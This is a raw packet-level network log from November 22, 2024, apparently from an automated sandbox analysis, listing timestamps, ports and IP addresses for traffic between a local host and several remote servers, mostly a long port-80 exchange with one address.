Nov 22, 2024 23:06:37.509624958 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:37.509660006 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:37.509700060 CET	49785	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:37.588880062 CET	49853	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.588922024 CET	443	49853	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.589184999 CET	49853	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.591948032 CET	49835	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.591989040 CET	443	49835	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.592088938 CET	49835	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.592099905 CET	443	49835	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.595361948 CET	49785	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:37.595386028 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:37.595446110 CET	49785	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:37.595452070 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:37.613711119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.613773108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.613862038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.614057064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.614135027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.614186049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.614862919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.615027905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.615075111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.615701914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.615812063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.615855932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.616512060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.616563082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.616590023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.617306948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.617347956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.617368937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.617835045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.618112087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.618307114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.618351936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.618925095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.619044065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.619091988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.619738102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.619844913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.619893074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.620537996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.620659113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.620702982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.621365070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.621506929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.621547937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.622159004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.622251987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.622972012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.623030901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.623111963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.623245955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.623769045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.623828888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.623857975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.623924971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.624560118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.624805927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.624866962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.625379086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.625541925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.625587940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.626190901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.626276016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.626988888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.627038002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.627104044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.627823114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.627873898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.627916098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.628617048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.628667116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.628704071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.629450083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.629489899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.629502058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.629834890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.630215883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.630338907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.630390882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.631035089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.631161928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.631205082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.631845951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.631973028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.632024050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.632683039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.632698059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.632733107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.632747889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.633471012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.633512974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.633642912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.633833885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.634274006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.634371996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.634416103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.699498892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.699526072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.699574947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.699605942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.699863911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.699908018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.699949980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.700640917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.700658083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.700686932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.700714111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.701453924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.701499939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.701570988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.701841116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.702259064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.702332020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.703063965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.703109026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.703196049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.703907967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.703958035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.703999043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.704675913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.704720020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.704761028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.705492973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.705509901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.705544949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.705559969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.706315041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.706418037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.707113981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.707160950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.707185984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.707902908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.707947969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.708013058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.708672047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.708729982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.708822012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.708868027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.709525108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.709635019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.709685087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.710309029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.710436106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.711143017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.711189032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.711263895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.711958885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.712002993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.712043047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.712768078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.712815046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.712862015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.713584900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.713643074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.713670015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.713835955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.714384079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.714479923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.714525938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.715188980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.715300083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.715354919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.715981007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.716028929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.716079950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.716799021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.716924906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.716965914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.717600107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.717704058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.717747927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.718422890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.718449116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.719247103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.719321966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.719353914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.719496965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.720011950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.720087051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.720132113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.725699902 CET	443	49841	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.725769997 CET	443	49841	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.725867987 CET	49841	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.759865046 CET	443	49838	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.759929895 CET	443	49838	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.761872053 CET	49838	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.817595005 CET	49838	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.817620039 CET	443	49838	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.817632914 CET	49838	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.817639112 CET	443	49838	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.817914963 CET	49853	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.817934036 CET	443	49853	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.824173927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.824199915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.824275970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.824306965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.824453115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.824572086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.824631929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.825236082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.825290918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.825331926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.825373888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.826072931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.826178074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.826232910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.826858044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.826910973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.826946974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.826967001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.827716112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.827781916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.827822924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.827902079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.828484058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.828629971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.828677893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.829282045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.829325914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.829351902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.829402924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.830116034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.830185890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.830271959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.830480099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.830923080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.830979109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.831020117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.831053972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.831749916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.831796885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.831998110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.832046986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.832532883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.832549095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.832673073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.833324909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.833426952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.833470106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.834141970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.834232092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.834275007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.834914923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.834960938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.835067987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.835238934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.835712910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.835798979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.835849047 CET	443	49837	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.835875988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.835922956 CET	443	49837	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.835973978 CET	49837	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.836242914 CET	49837	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.836258888 CET	443	49837	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.836268902 CET	49837	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.836276054 CET	443	49837	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.836584091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.836658955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.836705923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.837354898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.837404013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.837462902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.837604046 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.837937117 CET	49841	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.837960005 CET	443	49841	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.837973118 CET	49841	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.837979078 CET	443	49841	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.838171959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.838340998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.838397980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.838970900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.839036942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.839078903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.839123964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.839797020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.839850903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.839934111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.840128899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.840620995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.840677023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.840707064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.840770006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.841402054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.841463089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.841634035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.841783047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.842192888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.842428923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.842490911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.843005896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.843056917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.843137980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.843285084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.843849897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.843900919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.844108105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.844309092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.844672918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.844721079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.844738007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.844788074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.866099119 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.866202116 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.866293907 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.880574942 CET	49854	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.880619049 CET	443	49854	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.883141994 CET	49855	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.883171082 CET	443	49855	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.883276939 CET	49855	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.883519888 CET	49855	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.883528948 CET	443	49855	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.885561943 CET	49856	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.885570049 CET	443	49856	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.885680914 CET	49856	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.888384104 CET	49856	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.888395071 CET	443	49856	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.889781952 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.889818907 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.890026093 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.890196085 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.890223026 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.910101891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.910337925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.910507917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.910564899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.910655975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.910708904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.911273956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.911375999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.911442041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.911575079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.912146091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.912182093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.912240982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.912898064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.912964106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.913022995 CET	80	49762	185.215.113.206	192.168.2.5
